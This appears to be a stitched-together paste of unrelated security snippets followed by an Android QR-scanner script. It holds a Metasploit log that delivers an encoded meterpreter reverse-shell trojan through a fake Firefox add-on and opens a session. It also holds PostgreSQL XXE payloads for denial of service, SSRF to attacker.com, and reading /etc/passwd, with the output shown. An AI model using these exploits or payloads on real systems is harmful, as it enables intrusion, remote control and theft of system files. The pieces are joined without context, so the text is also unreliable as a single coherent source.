msf > use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf  exploit(firefox_xpi_bootstrapped_addon) >

msf  exploit(firefox_xpi_bootstrapped_addon) > set addonname falso
addonname => falso
msf  exploit(firefox_xpi_bootstrapped_addon) > set SRVHOST 192.168.1.35
SRVHOST => 192.168.1.35
msf  exploit(firefox_xpi_bootstrapped_addon) > set SRVPORT 80
SRVPORT => 80
msf  exploit(firefox_xpi_bootstrapped_addon) > set URIPATH fakeEx
URIPATH => fakeEx
msf  exploit(firefox_xpi_bootstrapped_addon) > set LHOST 192.168.1.35
LHOST => 192.168.1.35

D:\metasploit4>ruby\bin\ruby.exe msf3\msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai --iterations 10 -e x86/countdown -i 3 -e x86/call4_dword_xor -i 5 -e x86/jmp_call_additive -i 5 -f c LHOST=192.168.1.35 > trojan.exe
[*] x86/jmp_call_additive succeeded with size 321 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 353 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 385 (iteration=3)
[*] x86/jmp_call_additive succeeded with size 417 (iteration=4)
[*] x86/jmp_call_additive succeeded with size 449 (iteration=5)

msf  exploit(firefox_xpi_bootstrapped_addon) > set PAYLOADFILE d:\\metasploit4\\trojan.exe
PAYLOADFILE => d:\metasploit4\trojan.exe
payload => windows/meterpreter/reverse_tcp

msf  exploit(firefox_xpi_bootstrapped_addon) > exploit
[*] Exploit running as background job.
msf  exploit(firefox_xpi_bootstrapped_addon) >
[*] Started reverse handler on 192.168.1.35:4444
[*] Using URL: http://192.168.1.35:80/fakeEx
[*] Server started.

msf  exploit(firefox_xpi_bootstrapped_addon) >
[*] 192.168.1.35     firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...

[*] Sending stage (752128 bytes) to 192.168.1.35
[*] Meterpreter session 1 opened (192.168.1.35:4444 -> 192.168.1.35:15831) at 2012-05-28 19:11:57 +0200

msf  exploit(firefox_xpi_bootstrapped_addon) > sessions -i

Active sessions
===============

  Id  Type                   Information  Connection
  --  ----                   -----------  ----------
  1   meterpreter x86/win32               192.168.1.35:4444 -> 192.168.1.35:15831 (192.168.1.35)

    Example:
    DoS:
    select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/dev/random">]><content>&abc;</content>')
     
    SSRF:
    select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "http://attacker.com/?xxe=OK">]><content>&abc;</content>')
     
    Error-based XXE:
     
    select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
     
        ERROR:  invalid XML document
        DETAILS:  /etc/network/if-up.d/mountnfs:28: parser error : StartTag: invalid element name
        exec 9<&0 </etc/fstab       ^
        /etc/network/if-up.d/mountnfs:28: parser error : xmlParseEntityRef: no name
        exec 9<&0 </etc/fstab        ^
        /etc/network/if-up.d/mountnfs:28: parser error : chunk is not well balanced
        exec 9<&0 </etc/fstab          ^
        Entity: line 1: parser error : Failure to process entity abc
        E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;
                                                                                       ^
        Entity: line 1: parser error : Entity 'abc' not defined
        E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;                                                                               ^
     
    UPDATE!
    Classical XXE from XSLT transformation founded.
    Reading any data are possible also:
     
     
    SELECT xslt_process('<!DOCTYPE employee [<!ENTITY asd SYSTEM "/etc/passwd">] ><employee><name>&asd;</name><age>30</age><pay>400</pay></employee>'::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="*">  <xsl:element name="samples">    <xsl:element name="sample"><xsl:value-of select="//employee/name/text()"/> </xsl:element>  </xsl:element></xsl:template></xsl:stylesheet>$$::text, 'n1=v1,n2=v2,n3=v3,n4=v4,n5=v5'::text);
     
                                             xslt_process                                      
        -----------------------------------------------------------------------------------------
         <?xml version="1.0"?>
         <samples><sample>root:x:0:0:root:/root:/bin/bash
         daemon:x:1:1:daemon:/usr/sbin:/bin/sh
         bin:x:2:2:bin:/bin:/bin/sh
         sys:x:3:3:sys:/dev:/bin/sh
         sync:x:4:65534:sync:/bin:/bin/sync
         games:x:5:60:games:/usr/games:/bin/sh
         man:x:6:12:man:/var/cache/man:/bin/sh
         lp:x:7:7:lp:/var/spool/lpd:/bin/sh
         mail:x:8:8:mail:/var/mail:/bin/sh
         news:x:9:9:news:/var/spool/news:/bin/sh
         uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
         proxy:x:13:13:proxy:/bin:/bin/sh
         www-data:x:33:33:www-data:/var/www:/bin/sh
         backup:x:34:34:backup:/var/backups:/bin/sh
         list:x:38:38:Mailing List Manager:/var/list:/bin/sh
         irc:x:39:39:ircd:/var/run/ircd:/bin/sh
         gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
         nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
         libuuid:x:100:101::/var/lib/libuuid:/bin/sh
         nslcd:x:101:103:nslcd name service LDAP connection daemon,,,:/var/run/nslcd/:/bin/false
         sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
         puppet:x:109:111:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false
         Debian-exim:x:111:115::/var/spool/exim4:/bin/false
         alexandro:x:1000:1000:Alexander Golovko,,,:/home/alexandro:/bin/bash
         oxod:x:1001:1001:,,,:/home/oxod:/bin/bash
         mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false
         postgres:x:104:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
         oracle:x:1002:1002::/u01/app/oracle:/bin/bash
         </sample></samples>
     
        (1 row)

#-*- coding: utf-8 -*-
 
import android
 
droid = android.Android()
sCode = droid.scanBarcode()
 
#Debug
#print sCode
 
(sRslt, sType) = sCode.result['extras']['la.droid.qr.result'], sCode.result['extras']['SCAN_RESULT_FORMAT']
QMSG = '''
by .:WindHack:.
Tipo: %s
 
Contenido: 
%s''' % (sType, sRslt)
droid.dialogCreateAlert('Resultado del Escáner', QMSG)
if sRslt.startswith('http'):
   droid.dialogSetPositiveButtonText('Abrir')
droid.dialogSetNeutralButtonText('Copiar contenido')
droid.dialogSetNegativeButtonText('Cerrar')
droid.dialogShow()
sResponse = droid.dialogGetResponse().result
if sResponse['which'] == 'positive':
   droid.view(sRslt)
elif sResponse['which'] == 'neutral':
   droid.setClipboard(sRslt)
   droid.notify('pyScanBarcode', 'Contenido copiado con éxito. ¡Gracias!')
elif sResponse['which'] == 'negative':
   exit()